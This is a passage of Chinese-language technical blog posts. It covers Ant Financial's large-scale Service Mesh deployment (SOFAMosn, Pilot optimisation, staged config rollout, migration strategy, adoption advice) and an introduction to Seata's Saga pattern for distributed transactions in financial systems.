        总结:持续不断的优化 + 无感知升级 = 快速获得收益。

        这是一个意外惊喜,但又在情理之中:这是 SDK 下沉到基础设施并具备独立升级能力后带来的红利。

        也希望这个例子,能够让大家更深刻的理解 Service Mesh 的基本原理和优势。

        大规模落地的困难和挑战

        当 Service Mesh 遇到蚂蚁金服的规模,困难和挑战也随之而来:当规模达到一定程度时,很多原本很小的问题都会急剧放大。后面我将在性能、容量、稳定性、可维护性和应用迁移几个方面给大家介绍我们遇到的挑战和实践。

        ppt-13.png

        数据平面的优化

        在数据平面上,蚂蚁金服采用了自行研发的基于 Golang 的方案:SOFAMosn。关于为什么选择全新开发 SOFAMosn,而不是直接使用 Envoy 的原因,在去年 QCon 的演讲中我有过详细的介绍,有兴趣可以了解。

        前面我们给出的性能数据,实际上主要是数据平面的性能,也就是作为 Sidecar 部署的 SOFAMosn 的性能表现。从数据上看 SOFAMosn 目前的性能表现还是很不错的,这背后是我们在 SOFAMosn 上做了非常多的性能优化。

        • CPU 优化:在 SOFAMosn 中我们进行了 Golang 的 writev 优化,将多个包拼装一次写以降低 syscall 调用。测试中发现,Golang 1.9 的时候 writev 有内存泄露的 bug。当时 debug 的过程非常的辛苦...... 详情见我们当时给 Golang 提交的 PR: https://github.com/golang/go/pull/32138
        • 内存优化:在内存复用,我们发现报文直接解析会产生大量临时对象。SOFAMosn 通过直接复用报文字节的方式,将必要的信息直接通过 unsafe.Pointer 指向报文的指定位置来避免临时对象的产生;
        • 延迟优化:前面我们谈到 Sidecar 是通过只解析 Header 而透传 Body 来保证性能的。针对这一点,我们进行了协议升级,以便快速读取 Header。比如我们使用的 TR 协议请求头和 Body 均为 hessian 序列化,性能损耗较大。而 Bolt 协议中 Header 是一个扁平化 map,解析性能损耗小。因此我们升级应用改走 Bolt 协议来提升 Sidecar 转发的性能。这是一个典型的针对 Sidecar 特性而做的优化;

        此外还有前面特意重点介绍的路由缓存优化(也就是那个不科学的延迟降低7%的场景)。由于蚂蚁金服内部路由的复杂性(一笔请求经常需要走多种路由策略最终确定路由结果目标),通过对相同条件的路由结果做秒级缓存,我们成功将某核心链路的全链路 RT 降低 7%。

        这里我简单给出了上述几个典型案例,双十一之后会有更多更详细的 SOFAMosn 资料分享出来,有兴趣的同学可以多关注。

        在双十一过后,我们也将加大 SOFAMosn 在开源上的投入,将 SOFAMosn 做更好地模块化地抽象,并且将双十一中经过考验的各种优化放进去,预计在 2020 年的 1 月底可以发布第一个优化后的版本。

        Mixer 的性能优化

        Mixer 的性能优化是个老生常谈的话题,基本上只要谈及 Istio 的性能,都避无可避。

        Mixer 的性能问题,一直都是 Istio 中最被人诟病的地方

        尤其在 Istio 1.1/1.2版本之后,引入 Out-Of-Process Adapter 之后,更是雪上加霜。

        ppt-15.png

        原来 Sidecar 和 Mixer 之间的远程调用已经严重影响性能,在引入 Out-Of-Process Adapter 之后又在 Traffic 流程中引入了新的远程调用,性能更加不可接受。

        从落地的角度看,Mixer V1 糟糕至极的性能,已经是“生命无法承受之重”。对于一般规模的生产级落地而言,Mixer 性能已经是难于接受,更不要提大规模落地……

        Mixer V2 方案则给了社区希望:将 Mixer 合并进 Sidecar,引入 web assembly 进行 Adapter 扩展,这是我们期待的 Mixer 落地的正确姿势,是 Mixer 的未来,是 Mixer 的"诗和远方"。然而社区望穿秋水,但 Mixer V2 迟迟未能启动,长期处于 In Review 状态,远水解不了近渴。

        因此在 Mixer 落地上,我们只能接受妥协方案,所谓"眼前的苟且":一方面我们弃用 Mixer v1,改为在 SOFAMosn 中直接实现功能;另一方面我们并没有实现 Mixer V2 的规划。实际的落地方式是:我们只在 SOFAMosn 中提供最基本的策略检查功能如限流,鉴权等,另外可观测性相关的各种能力也都是从 SOFAMosn 直接输出。

        Pilot 的性能优化

        在 Istio 中,Pilot 是一个被 Mixer 掩盖的重灾区:长期以来大家的性能关注点都在 Mixer,表现糟糕而且问题明显的 Mixer 一直在吸引火力。但是当选择放弃 Mixer(典型如官方在 Istio 新版本中提供的关闭 Mixer 的配置开关)之后,Pilot 的性能问题也就很快浮出水面。

        这里简单展示一下我们在 Pilot 上做的部分性能优化:

        • 序列化优化:我们全面使用 types.Any 类型,弃用 types.Struct 类型,序列化性能提升70倍,整体性能提升4倍。Istio 最新的版本中也已经将默认模式修改为 types.Any 类型。我们还进行了 CR(CustomResource) 的序列化缓存,将序列化时机从 Get/List 操作提前至事件触发时,并缓存结果。大幅降低序列化频率,压测场景下整体性能提升3倍,GC 频率大幅下降;
        • 预计算优化:支持 Sidecar CRD 维度的 CDS /LDS/RDS 预计算,大幅降低重复计算,压测场景下整体性能提升6倍;支持 Gateway 维度的 CDS / LDS / RDS 预计算;计算变更事件的影响范围,支持局部推送,减少多余的计算和对无关 Sidecar 的打扰;
        • 推送优化:支持运行时动态降级,支持熔断阈值调整,限流阈值调整,静默周期调整,日志级别调整;实现增量 ADS 接口,在配置相关处理上,Sidecar cpu 减少90%,Pilot cpu 减少42%;

        这里简单解释一下,Pilot 在推送数据给 Sidecar 时,代码实现上的有些简单:Sidecar 连接上 Pilot 时;Pilot 就给 Sidecar 下发 xDS 数据。假定某个服务有100个实例,则这100个实例的 Sidecar 连接到 Pilot 时,每次都会进行一次下发数据的计算,然后进行序列化,再下发给连上来的 Sidecar。下一个 Sidecar 连接上来时,重复这些计算和序列化工作,而不管下发的数据是否完全相同,我们称之为“千人千面”。

        而实际中,同一个服务往往有多个实例,Pilot 下发给这些实例的 Sidecar 的数据往往是相同的。因此我们做了优化,提前做预计算和序列化并缓存结果,以便后续重复的实例可以直接从缓存中取。因此,“千人千面”就可以优化为“千人百面”或者“千人十面”,从而大幅提高性能。

        另外,对于整个 Service Mesh 体系,Pilot 至关重要。因此 Pilot 本身也应该进行保护,也需要诸如熔断/限流等特性。

        Service Mesh 的运维

        在 Service Mesh 的运维上,我们继续坚持“线上变更三板斧”原则。这里的变更,包括发布新版本,也包括修改配置,尤其特指修改 Istio 的 CRD。

        ppt-17.png

        线上变更“三板斧”指的是:

        1. 可灰度:任何变更,都必须是可以灰度的,即控制变更的生效范围。先做小范围内变更,验证通过之后才扩大范围;
        2. 可监控:在灰度过程中,必须能做到可监控,能了解到变更之后对系统的应用。如果没有可监控,则可灰度也就没有意义了;
        3. 可回滚:当通过监控发现变更后会引发问题时,还需要有方法可以回滚;

        我们在这里额外引入了一个名为“ScopeConfig”的配置变更生效范围的控制能力,即配置变更的灰度。什么是配置变更的灰度呢?

        Istio 的官方实现,默认修改配置(Istio API 对应的各种 CRD)时新修改的配置会直接全量推动到所有生效的 Sidecar,即配置变更本身无法灰度。注意这里和平时说的灰度不同,比如最常见的场景,服务 A 调用服务 B,并假定服务 A 有100个实例,而服务 B 有10个 v1 版本的服务实例正在进行。此时需要更新服务 B 到新的 v2 版本。为了验证 v2 新版本,我们通常会选择先上线一个服务 B 的 v2 版本的新实例,通过 Istio 进行流量百分比拆分,比如切1%的流量到新的 v2 版本的,这被称为“灰度发布”。此时新的“切1%流量到 v2”的 CRD 被下发到服务 A 的 Sidecar,这100个 Sidecar 中的每个都会执行该灰度策略。如果 v2 版本有问题不能正常工作,则只影响到1%的流量,即此时 Istio 的灰度控制的是 CRD 配置生效之后 Sidecar 的流量控制行为。

        但是,实际生产中,配置本身也是有风险的。假设在配置 Istio CRD 时出现低级错误,不小心将新旧版本的流量比例配反了,错误配置成了99%的流量去 v2 版本。则当新的 CRD 配置被下发到全部100个服务 A 的实例时并生效时, Sidecar 控制的流量就会发生非常大的变化,造成生产事故。

        为了规避这个风险,就必须引入配置变更的范围控制,比如将新的 CRD 配置下发到少数 Sidecar,验证配置无误后再扩展到其他 Sidecar。

        应用平滑迁移的终极方案

        在 Service Mesh 落地的过程中,现有应用如何平滑迁移到 Service Mesh,是一个至关重要的话题。典型如基于传统微服务框架如 SpringCloud/Dubbo 的应用,如何逐个(或者分批)的迁移到 Service Mesh 上。

        蚂蚁金服在去年进行落地实践时,就特别针对应用平滑迁移进行了深入研究和探索。这个问题是 Service Mesh 社区非常关注的核心落地问题,今天我们重点分享。

        在今年9月份的云栖大会上,蚂蚁金服推出了双模微服务的概念,如下图所示:

        ppt-18.png

        “双模微服务”是指传统微服务和 Service Mesh 双剑合璧,即“基于 SDK 的传统微服务”可以和“基于 Sidecar 的 Service Mesh 微服务”实现下列目标:

        • 互联互通:两个体系中的应用可以相互访问;
        • 平滑迁移:应用可以在两个体系中迁移,对于调用该应用的其他应用,做到透明无感知;
        • 灵活演进:在互联互通和平滑迁移实现之后,我们就可以根据实际情况进行灵活的应用改造和架构演进;

        双模还包括对应用运行平台的要求,即两个体系下的应用,既可以运行在虚拟机之上,也可以运行在容器/k8s 之上。

        怎么实现这么一个美好的双模微服务目标呢?

        我们先来分析一下传统微服务体系和 Service Mesh 体系在服务注册/服务发现/服务相关的配置下发上的不同。

        首先看传统微服务体系,其核心是服务注册中心/配置中心,应用通过引用 SDK 的方式来实现对接各种注册中心/配置中心。通常不同的注册中心/配置中心都有各自的实现机制和接口协议,SDK 和注册中心/配置中心的交互方式属于内部实现机制,并不通用。

        ppt-19.png

        优点是支持海量数据(十万级别甚至百万级别),具备极强的分发能力,而且经过十余年间的打磨,稳定可靠可谓久经考验。市面上有很多成熟的开源产品,各大公司也都有自己的稳定实现。如阿里集团的 Nacos,蚂蚁金服的 SOFARegistry。

        SOFARegistry:https://github.com/sofastack/sofa-registry

        缺点是注册中心/配置中心与 SDK 通常是透传数据,即注册中心/配置中心只进行数据的存储和分发。大量的控制逻辑需要在 SDK 中实现,而 SDK 是嵌入到应用中的。因此,任何变更都需要改动 SDK 并要求应用升级。

        再来看看 Service Mesh 方案,以 Istio 为例:

        ppt-19-2.png

        Service Mesh 的优点是引入了控制平面(在 Istio 中具体指 Pilot 组件),通过控制平面来提供强大的控制逻辑。而控制平面的引入,MCP/xDS 等标准协议的制订,实现了数据源和下发数据的解耦。即存储于注册中心/配置中心(在 Istio 中体现为 k8s api server + Galley)的数据可以有多种灵活的表现形式,如 CRD 形式的 Istio API,通过运行于 Pilot 中的 Controller 来实现控制逻辑和格式转换,最后统一转换到 xDS/UDPA。这给 API 的设计提供了非常大的施展空间,极具灵活度,扩展性非常好。

        缺点也很明显,和成熟的注册中心/配置中心相比,支持的容量有限,下发的性能和稳定性相比之下有很大差距。

        控制平面和传统注册中心/配置中心可谓各有千秋,尤其他们的优缺点是互补的,如何结合他们的优势?

        此外,如何打通两个体系是 Service Mesh 社区的老大难问题。尤其是缺乏标准化的社区方案,只能自行其是,各自为战。

        最近,在综合了过去一年多的思考和探索之后,蚂蚁金服和阿里集团的同事们共同提出了一套完整的解决方案,我们戏称为“终极方案”:希望可以通过这个方案打通传统微服务体系和 Service Mesh 体系,彻底终结这个困扰已久的问题。

        这个方案的核心在于: 以 MCP 和 xDS/UDPA 协议为基础,融合控制平面和传统注册中心/配置中心

        ppt-20.png

        如上图所示,如果我们将融合控制平面和传统注册中心/配置中心而来的新的产品形态视为一个整体,则这个新产品形态的能力主要有三块:

        1. 传统注册中心的数据存储能力:支持海量数据;
        2. Service Mesh 控制平面的能力:解耦之后 API 设计的弹性和灵活度;
        3. 传统注册中心的分发能力:性能、速度、稳定性;

        这个新的产品形态可以理解为“带控制平面的注册中心/配置中心”,或者“存储/分发能力加强版的控制平面”。名字不重要,重要的是各节点的通讯交互协议必须标准化

        • MCP 协议:MCP 协议是 Istio 中用 于Pilot 和 Galley 之间同步数据的协议,源自 xDS 协议。我们设想通过 MCP 协议将不同源的注册中心集成起来,目标是聚合多注册中心的数据到 Pilot 中,实现打通异构注册中心(未来也会用于多区域聚合)。
        • xDS/UDPA 协议:xDS 协议源自 Envoy,是目前数据平面的事实标准,UDPA 是正在进行中的基于 xDS 协议的标准化版本。Sidecar 基于 xDS/UDPA 协议接入控制平面,我们还有进一步的设想,希望加强 SDK 方案,向 Istio 的功能靠拢,具体表现为 SDK 支持 xDS 协议(初期版本先实现最小功能集)。目标是希望在对接控制平面的前提下,应用可以在 Service Mesh 和 SDK 方案之间自由选择和迁移。

        基于这个思路,我们给出如下图所示的解决方案,希望最大限度的整合传统微服务框架和 Service Mesh。其基本指导原则是:求同存异保持兼容

        ppt-21.png

        上图中,蓝色部分是通用的功能模块,我们希望可以和社区一起共建。红色部分是不兼容的功能模块,但是保持 API 兼容。

        具体说,右边是各种注册中心(配置中心同理):

        • Galley 和底下的 k8s API Server 可以视为一个特殊的注册中心,这是 Istio 的官方方式;
        • Nacos/SOFARegistry 是阿里集团和蚂蚁金服的注册中心,支持海量规模。我们计划添加 MCP 协议的支持,直接对接 Pilot;
        • 其他的注册中心,也可以通过提供 MCP 协议支持的方式,接入到这个方案中;
        • 对于不支持 MCP 的注册中心,可以通过开发一个 MCP Proxy 模块以适配器模式的方式间接接入。当然最理想的状态是出现成熟的通用开源方案来统一解决,比如 Nacos Sync 有计划做类似的事情;

        左边是数据平面:

        • Service Mesh 体系下的 Sidecar(如 Envoy 和蚂蚁金服的 SOFAMosn)目前都已经支持 xDS/UDPA;
        • 相对来说,这个方案中比较“脑洞”的是在 SDK 方案如 Spring Cloud/Dubbo/SOFARPC 中提供 xDS 的支持,以便对接到已经汇总了全局数据的控制平面。从这个角度说,支持 xDS 的 SDK 方案,也可以视为广义的数据平面。我们希望后面可以推动社区朝这个方向推进,短期可以先简单对接,实现 xDS 的最小功能集;长期希望 SDK 方案的功能能向 Istio 看齐,实现更多的 xDS 定义的特性;

        这个方案对运行平台没有任何特别要求,只要网络能通,应用和各个组件可以灵活选择运行在容器(k8s)中或虚拟机中。

        需要特别强调的是,这个方案最大的优点在于它是一个高度标准化的社区方案:通过 MCP 协议和 xDS 协议对具体实现进行了解耦和抽象,整个方案没有绑定到任何产品和供应商。因此,我们希望这个方案不仅仅可以用于阿里集团和蚂蚁金服,也可以用于整个 Istio 社区。阿里集团和蚂蚁金服目前正在和 Istio 社区联系,我们计划将这个方案贡献出来,并努力完善和加强 Pilot 的能力,使之能够满足我们上面提到的的美好愿景:融合控制平面和传统注册中心/配置中心的优点,打通传统微服务框架和 Service Mesh,让应用可以平滑迁移灵活演进。

        希望社区认可这个方案的同学可以参与进来,和我们一起努力来建设和完善它。

        是否采用 Service Mesh 的建议

        在过去一年间,这个问题经常被人问起。借这个机会,结合过去一年中的实践,以及相比去年此时更多的心得和领悟,希望可以给出一些更具参考价值的建议。

        建议一:有没有直接痛点

        有没有短期急迫需求,通常取决于当前有没有迫切需要解决的痛点。

        在 Service Mesh 的发展过程中,有两个特别清晰而直接的痛点,它们甚至对 Service Mesh 的诞生起了直接的推动作用:

        1. 多语言支持

        ppt-23.png
        这是 SDK 方案的天然局限,也是 Service Mesh 的天然优势。需要支持的编程语言越多,为每个编程语言开发和维护一套 SDK 的成本就越高,就有越多的理由采用 Service Mesh。

        1. 类库升级困难

        ppt-23-2.png
        同样,这也是 SDK 方案的天然局限,也是 Service Mesh 的天然优势(还记得前面那个不科学的-7%吗?)。SDK 方案中类库和业务应用打包在一起,升级类库就不得不更新整个业务应用,而且是需要更新所有业务团队的所有应用。在大部分公司,这通常是一个非常困难的事情,而且每次 SDK 升级都要重复一次这种痛苦。

        而且,这两个痛点有可能会同时存在:有多个编程语言的类库需要升级版本......

        所以,第一个建议是先检查是否存在这两个痛点。

        建议二:老应用升级改造

        Service Mesh 的无侵入性,在老应用升级改造,尤其是希望少改代码甚至完全不改代码的情况下,堪称神器。

        ppt-24.png

        所以,第二个建议是,如果有老应用无改动升级改造的需求,对流量控制、安全、可观测性有诉求,则可以考虑采用  Service Mesh。

        建议三:维护统一的技术栈

        这个建议仅仅适用于技术力量相对薄弱的企业,这些企业普遍存在一个问题:技术力量不足,或者主要精力投放在业务实现,导致无力维护统一的技术栈,系统呈现烟囱式架构。

        ppt-25.png

        传统烟囱式架构的常见问题有:

        • 重复建设,重复造轮子;
        • 不同时期,不同厂商,用不同的轮子;
        • 难以维护和演进,后续成本高昂;
        • 掌控力不足,容易受制于人;

        这种情况下,建议引入 Service Mesh 技术,通过 Service Mesh 将非业务逻辑从应用剥离并下沉的特性,来统一整个公司的技术栈。

        特别需要强调的是,对于技术力量不足、严重依赖外包和采购的企业,尤其是银行/保险/证券类金融企业,引入 Service Mesh 会有一个额外的特殊功效,至关重要:

        将乙方限制在业务逻辑的实现上

        即企业自行建设和控制 Service Mesh,作为统一的技术栈,在其上再开发运行业务应用。由于这些业务应用运行在 Servcie Mesh 之上,因此只需要实现业务逻辑,非业务逻辑的功能由 Servcie Mesh 来提供。通过这种方式,可以避免乙方公司借项目机会引入各种技术栈而造成技术栈混乱,导致后期维护成本超高;尤其是要避免引入私有技术栈,因为私有技术栈会造成对甲方事实上的技术绑定(甚至技术绑架)。

        建议四:云原生落地

        最后一个建议,和云原生有关。在去年的 QCon 演讲中,我曾经提到我们在探索 Kubernetes / Service Mesh / Serverless 结合的思路。在过去一年,蚂蚁金服一直在云原生领域做深度探索,也有一些收获。其中,有一点我们是非常明确的:Mesh 化是云原生落地的关键步骤

        下图展示了蚂蚁金服在云原生落地方面的基本思路:

        ppt-27.png

        • 最下方是云,以 Kubernetes 为核心,关于这一点社区基本已经达成共识:Kubernetes 就是云原生下的操作系统;
        • 在 Kubernetes 之上,是 Mesh 层。不仅仅有我们熟悉的 Service Mesh,还有诸如 Database Mesh 和 Message Mesh 等类似的其他 Mesh 产品形态,这些 Mesh 组成了一个标准化的通信层;
        • 运行在各种 Mesh 的应用,不管是微服务形态,还是传统非微服务形态,都可以借助 Mesh 的帮助实现应用轻量化,非业务逻辑的各种功能被剥离到 Mesh 中后,应用得以“瘦身减负”;
        • 瘦身之后的应用,其内容主要是业务逻辑实现。这样的工作负载形式,更适合 Serverless 的要求,为接下来转型 Serverless 做好准备;

        所以,我的最后一个建议是,请结合你的长远发展方向考虑:如果云原生是你的诗和远方,那么 Service Mesh 就是必由之路

        ppt-28.png

        Kubernetes / Service Mesh / Serverless 是当下云原生落地实践的三驾马车,相辅相成,相得益彰。

        Service Mesh 的核心价值

        在最后,重申一下 Service Mesh 的核心价值:

        实现业务逻辑和非业务逻辑的分离。

        前面的关于要不要采用 Service Mesh 四个建议,归根到底,最终都是对这个核心价值的延展。只有在分离业务逻辑和非业务逻辑并以 Sidecar 形式独立部署之后,才有了这四个建议所依赖的特性:

        • Service Mesh 的多语言支持和应用无感知升级;
        • 无侵入的为应用引入各种高级特性如流量控制,安全,可观测性;
        • 形成统一的技术栈;
        • 为非业务逻辑相关的功能下沉到基础设施提供可能,帮助应用轻量化,使之专注于业务,进而实现应用云原生化;

        希望大家在理解 Service Mesh 的核心价值之后,再来权衡要不要采用Service Mesh,也希望我上面给出的四个建议可以对大家的决策有所帮助。

        总结

        在今天的内容中,首先介绍了蚂蚁金服 Service Mesh 的发展历程,给大家展示了双十一大规模落地的规模和性能指标,并解释了这些指标背后的原理。然后分享了蚂蚁金服在 Service Mesh 大规模落地中遇到的困难和挑战,以及我们为此做的工作,重点介绍了应用平滑迁移的所谓“终极方案”;最后结合蚂蚁金服在云原生和 Service Mesh 上的实践心得,对于是否应该采用 Service Mesh 给出了几点建议。

        目前蚂蚁金服正在静待今年的双十一大考,这将是 Service Mesh 的历史时刻:全球最大规模的 Service Mesh 集群,Service Mesh 首次超大规模部署......一切都是如此的值得期待。

        请对 Service Mesh 感兴趣的同学稍后继续关注,预期在双十一之后会有一系列的分享活动:

        ppt-31-1.png

        • 经验分享:会有更多的技术分享,包括落地场景,经验教训,实施方案,架构设计…
        • 开源贡献:蚂蚁金服会将落地实践中的技术实现和方案以不同的方式回馈社区,推动 Service Mesh 落地实践。目前这个工作正在实质性的进行中, 请留意我们稍后公布的消息;
        • 商务合作:蚂蚁金服即将推出 Service Mesh 产品,提供商业产品和技术支持,提供金融级特性,欢迎联系;
        • 社区交流:ServiceMesher 技术社区继续承担国内 Service Mesh 布道和交流的重任;欢迎参加我们今年正在持续举办的 Service Mesh Meetup 活动。

        ppt-32.png

        今年是我在 QCon 演讲的第三年,这三年中的三次演讲,可以说是从一个侧面反映了国内 Service Mesh 发展的不同阶段:

        • 2017年,国内 Service Mesh 一片蛮荒的时候,我做了 Service Mesh 的布道,介绍了 Service Mesh 的原理,喊出了“下一代微服务”的口号;
        • 2018年,以蚂蚁金服为代表的国内互联网企业,陆陆续续开始了 Service Mesh 的落地探索,所谓摸着石头过河不外如是。第二次演讲我分享了蚂蚁金服的探索性实践,介绍了蚂蚁金服的 Service Mesh 落地方式和思路。
        • 今天,2019年,第三次演讲,蚂蚁金服已经建立起了全球最大规模的 Service Mesh 集群并准备迎接双十一的严峻挑战,这次的标题也变成了深度实践。

        从布道,到探索,再到深度实践,一路走来已是三年,国内的 Service Mesh 发展,也从籍籍无名,到炙手可热,再到理性回归。Service Mesh 的落地,依然还存在非常多的问题,距离普及还有非常远的路要走,然而 Service Mesh 的方向,已经被越来越多的人了解和认可。

        高晓松说:"生活不止眼前的苟且,还有诗和远方"。对于 Service Mesh 这样的新技术来说,也是如此。

        鸣谢 InfoQ 和 Qcon 提供的机会,让我得以每年一次的为大家分享 Service Mesh 的内容。2020年,蚂蚁金服将继续推进和扩大 Service Mesh 落地的规模,继续引领 Service Mesh 在金融行业的实践探索。希望明年,可以有更多更深入的内容带给大家!

        ]]>
        基于 Seata Saga 设计更有弹性的金融应用 Fri, 02 May 2025 09:39:04 +0800 Seata 意为:Simple Extensible Autonomous Transaction Architecture,是一套一站式分布式事务解决方案,提供了 AT、TCC、Saga 和 XA 事务模式,本文详解其中的 Saga 模式。
        项目地址:https://github.com/seata/seata

        本文作者:屹远(陈龙),蚂蚁金服分布式事务核心研发 。

        金融分布式应用开发的痛点

        分布式系统有一个比较明显的问题就是,一个业务流程需要组合一组服务。这样的事情在微服务下就更为明显了,因为这需要业务上的一致性的保证。也就是说,如果一个步骤失败了,那么要么回滚到以前的服务调用,要么不断重试保证所有的步骤都成功。---《左耳听风-弹力设计之“补偿事务”》

        而在金融领域微服务架构下的业务流程往往会更复杂,流程很长,比如一个互联网微贷业务流程调十几个服务很正常,再加上异常处理的流程那就更复杂了,做过金融业务开发的同学会很有体感。

        所以在金融分布式应用开发过程中我们面临一些痛点:

        • 业务一致性难以保障

        我们接触到的大多数业务(比如在渠道层、产品层、集成层的系统),为了保障业务最终一致性,往往会采用“补偿”的方式来做,如果没有一个协调器来支持,开发难度是比较大的,每一步都要在 catch 里去处理前面所有的“回滚”操作,这将会形成“箭头形”的代码,可读性及维护性差。或者重试异常的操作,如果重试不成功可能要转异步重试,甚至最后转人工处理。这些都给开发人员带来极大的负担,开发效率低,且容易出错。

        • 业务状态难以管理

        业务实体很多、实体的状态也很多,往往做完一个业务活动后就将实体的状态更新到了数据库里,没有一个状态机来管理整个状态的变迁过程,不直观,容易出错,造成业务进入一个不正确的状态。

        • 幂等性难以保障

        服务的幂等性是分布式环境下的基本要求,为了保证服务的幂等性往往需要服务开发者逐个去设计,有用数据库唯一键实现的,有用分布式缓存实现的,没有一个统一的方案,开发人员负担大,也容易遗漏,从而造成资损。

        • 业务监控运维难,缺乏统一的差错守护能力

        业务的执行情况监控一般通过打印日志,再基于日志监控平台查看,大多数情况是没有问题的,但是如果业务出错,这些监控缺乏当时的业务上下文,对排查问题不友好,往往需要再去数据库里查。同时日志的打印也依赖于开发,容易遗漏。对于补偿事务往往需要有“差错守护触发补偿”、“工人触发补偿”操作,没有统一的差错守护和处理规范,这些都要开发者逐个开发,负担沉重。

        理论基础

        一些场景下,我们对数据有强一致性的需求时,会采用在业务层上需要使用“两阶段提交”这样的分布式事务方案。而在另外一些场景下,我们并不需要这么强的一致性,那就只需要保证最终一致性就可以了。

        例如蚂蚁金服目前在金融核心系统使用的就是 TCC 模式,金融核心系统的特点是一致性要求高(业务上的隔离性)、短流程、并发高。

        而在很多金融核心以上的业务(比如在渠道层、产品层、集成层的系统),这些系统的特点是最终一致即可、流程多、流程长、还可能要调用其它公司的服务(如金融网络)。这是如果每个服务都开发 Try、Confirm、Cancel 三个方法成本高。如果事务中有其它公司的服务,也无法要求其它公司的服务也遵循 TCC 这种开发模式。同时流程长,事务边界太长会影响性能。

        对于事务我们都知道 ACID,也很熟悉 CAP 理论最多只能满足其中两个,所以,为了提高性能,出现了 ACID 的一个变种 BASE。ACID 强调的是一致性(CAP 中的 C),而 BASE 强调的是可用性(CAP 中的 A)。我们知道,在很多情况下,我们是无法做到强一致性的 ACID 的。特别是我们需要跨多个系统的时候,而且这些系统还不是由一个公司所提供的。BASE 的系统倾向于设计出更加有弹力的系统,在短时间内,就算是有数据不同步的风险,我们也应该允许新的交易可以发生,而后面我们在业务上将可能出现问题的事务通过补偿的方式处理掉,以保证最终的一致性。

        所以我们在实际开发中会进行取舍,对于更多的金融核心以上的业务系统可以采用补偿事务,补偿事务处理方面在30年前就提出了 Saga 理论,随着微服务的发展,近些年才逐步受到大家的关注。目前业界比较也公认 Saga 是作为长事务的解决方案。

        https://github.com/aphyr/dist-sagas/blob/master/sagas.pdf
        http://microservices.io/patterns/data/saga.html

        社区和业界的方案

        Apache Camel Saga

        Camel 是实现 EIP(Enterprise Integration Patterns)企业集成模式的一款开源产品,它基于事件驱动的架构,有着良好的性能和吞吐量,它在2.21版本新增加了 Saga EIP。

        Saga EIP 提供了一种方式可以通过 camel route 定义一系列有关联关系的 Action,这些 Action 要么都执行成功,要么都回滚,Saga 可以协调任何通讯协议的分布式服务或本地服务,并达到全局的最终一致性。Saga 不要求整个处理在短时间内完成,因为它不占用任何数据库锁,它可以支持需要长时间处理的请求,从几秒到几天,Camel 的 Saga EIP 是基于 Microprofile 的 LRA(Long Running Action),同样也是支持协调任何通讯协议任何语言实现的分布式服务。

        Saga 的实现不会对数据进行加锁,而是在给操作定义它的“补偿操作”,当正常流程执行出错的时候触发那些已经执行过的操作的“补偿操作”,将流程回滚掉。“补偿操作”可以在 Camel route 上用 Java 或 XML DSL(Definition Specific Language)来定义。

        下面是一个 Java DSL 示例:

        carbon (21).png

        XML DSL 示例:

        carbon (22).png

        Eventuate Tram Saga

        Eventuate Tram Saga 框架是使用 JDBC / JPA 的 Java 微服务的一个 Saga 框架。它也和 Camel Saga 一样采用了 Java DSL 来定义补偿操作:

        carbon (23).png

        Apache ServiceComb Saga

        ServiceComb Saga 也是一个微服务应用的数据最终一致性解决方案。相对于 TCC 而言,在 try 阶段,Saga 会直接提交事务,后续 rollback 阶段则通过反向的补偿操作来完成。与前面两种不同是它是采用 Java 注解+拦截器的方式来进行“补偿”服务的定义。

        架构

        Saga 是由 alpha 和 omega 组成,其中:

        • alpha 充当协调者的角色,主要负责对事务进行管理和协调;
        • omega 是微服务中内嵌的一个 agent,负责对网络请求进行拦截并向 alpha 上报事务事件;

        下图展示了 alpha,omega 以及微服务三者的关系:

        使用示例

        carbon (24).png

        蚂蚁金服的实践

        蚂蚁金服内部大规模在使用 TCC 模式分布式事务,主要用于金融核心等对一致性要求高、性能要求高的场景。在更上层的业务系统因为流程多流程长,开发 TCC 成本比较高,大都会权衡采用 Saga 模式来到达业务最终一致性,由于历史的原因不同的 BU 有自己的一套“补偿”事务的方案,基本上是两种:

        • 一种是当一个服务在失败时需要“重试”或“补偿”时,在执行服务前在数据库插入一条记录,记录状态,当异常时通过定时任务去查询数据库记录并进行“重试”或“补偿”,当业务流程执行成功则删除记录;
        • 另一种是设计一个状态机引擎和简单的 DSL,编排业务流程和记录业务状态,状态机引擎可以定义“补偿服务”,当异常时由状态机引擎反向调用“补偿服务”进行回滚,同时还会有一个“差错守护”平台,监控那些执行失败或补偿失败的业务流水,并不断进行“补偿”或“重试”;

        方案对比

        社区和业界的解决方案一般是两种,一种基本状态机或流程引擎通过 DSL 方式编排流程程和补偿定义,一种是基于 Java 注解+拦截器实现补偿,那么这两种方案有什么优缺点呢?

        方式 优点 缺点
        状态机+DSL
        • 可以用可视化工具来定义业务流程,标准化,可读性高,可实现服务编排的功能
        • 提高业务分析人员与程序开发人员的沟通效率
        • 业务状态管理:流程本质就是一个状态机,可以很好的反映业务状态的流转
        • 提高异常处理灵活性:可以实现宕机恢复后的“向前重试”或“向后补偿”
        • 天然可以使用 Actor 模型或 SEDA 架构等异步处理引擎来执行,提高整体吞吐量
          |
        • 业务流程实际是由 JAVA 程序与 DSL 配置组成,程序与配置分离,开发起来比较繁琐
        • 如果是改造现有业务,对业务侵入性高
        • 引擎实现成本高
          |

        | 拦截器+java 注解 |

        • 程序与注解是在一起的,开发简单,学习成本低
        • 方便接入现有业务
        • 基于动态代理拦截器,框架实现成本低
          |
        • 框架无法提供 Actor 模型或 SEDA 架构等异步处理模式来提高系统吞吐量
        • 框架无法提供业务状态管理
        • 难以实现宕机恢复后的“向前重试”,因为无法恢复线程上下文
          |

        Seata Saga 的方案

        Seata Saga 的简介可以看一下《Seata Saga 官网文档》

        Seata Saga 采用了状态机+DSL 方案来实现,原因有以下几个:

        • 状态机+DSL 方案在实际生产中应用更广泛;
        • 可以使用 Actor 模型或 SEDA 架构等异步处理引擎来执行,提高整体吞吐量;
        • 通常在核心系统以上层的业务系统会伴随有“服务编排”的需求,而服务编排又有事务最终一致性要求,两者很难分割开,状态机+DSL 方案可以同时满足这两个需求;
        • 由于 Saga 模式在理论上是不保证隔离性的,在极端情况下可能由于脏写无法完成回滚操作,比如举一个极端的例子, 分布式事务内先给用户 A 充值,然后给用户 B 扣减余额,如果在给A用户充值成功,在事务提交以前,A 用户把线消费掉了,如果事务发生回滚,这时则没有办法进行补偿了,有些业务场景可以允许让业务最终成功,在回滚不了的情况下可以继续重试完成后面的流程,状态机+DSL的方案可以实现“向前”恢复上下文继续执行的能力, 让业务最终执行成功,达到最终一致性的目的。

